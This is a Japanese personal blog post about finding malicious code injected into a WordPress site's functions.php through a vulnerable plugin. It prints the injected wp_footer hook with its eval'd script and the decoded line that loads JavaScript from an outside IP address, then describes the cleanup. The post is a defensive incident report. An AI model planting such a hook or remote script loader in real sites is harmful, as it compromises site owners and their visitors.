WordPressに悪意のあるコードが埋め込まれ、管理者権限のユーザーが勝手に作られていた話
functions.phpにスポイラーのショートコードを追加しようと思ったら、見慣れないコードがあって調べてみたら、悪意のあるコードだった話をする。
functions.phpに書かれていたコード
if (!function_exists('add_footer_script')) {
function add_footer_script() {
update_option('my_admin_init_function_run', 'yes');
echo '<script>eval("【悪意のあるコード】");</script>';
}
$has_run = get_option('my_admin_init_function_run');
if ($has_run !== 'yes') {
add_action('wp_footer', 'add_footer_script');
}
}
これが勝手にfunctions.phpに書かれていた。
【悪意のあるコード】の部分は、\u000a\u0020\u0020・・・というように人間では読みにくいように暗号化されていて、復号したものが以下の通り。
scriptElement.src = "https://94.156.79.8/sc-top.js";
要するに、add_footer_script() 関数が WordPress の wp_footer アクションに追加されて、外部に設置されたJavaScriptを実行するようになっていたようだ。
また勝手に管理者権限のユーザーも作られていたようで、デタラメなアルファベットが羅列されたユーザーが出来ていた。
原因
導入しているWordpressプラグインの中に、脆弱性があったようだ。
Ad Invalid Click Protector でファイルが改ざんされたときの修復方法 | セオリコ
該当するプラグインについては削除して、別のプラグインで対処することにした。
対処
functions.phpに追加されたコードは既に削除し、また他の部分にも不正なコードがないことを確認した。
追加されていた管理者権限のユーザーは削除した。
Wordfenceというセキュリティ用Wordpressプラグインを導入し、サイト全体をスキャンした。
全てのユーザーのパスワードを変更した。
使っていないテーマについては削除した。
プラグインは順次、本当に必要かどうか見直し、削除する予定である。
教訓
何でもかんでもプラグインに頼ることが良くないという一例かもしれない。
もちろん自分で書いたコードに脆弱性があり、それが原因で攻撃を受けるリスクもある。
ただ今回の攻撃は個別にこのサイトを狙ったものではなく、プラグインの脆弱性を狙われたケースで、おそらくは機械的に攻撃された可能性が高い。
本ブログは歴史こそそこそこあるが、企業のHPでも超人気サイトという訳でもないため、このサイトのコードから脆弱性を探して攻撃するほど価値は客観的に乏しい(個人的に恨まれているなら別だが)。
とりあえずはWordfenceで定期的にスキャンして異変がないか確認しつつ、リスクになりそうなプラグインは削除していくことになるだろう。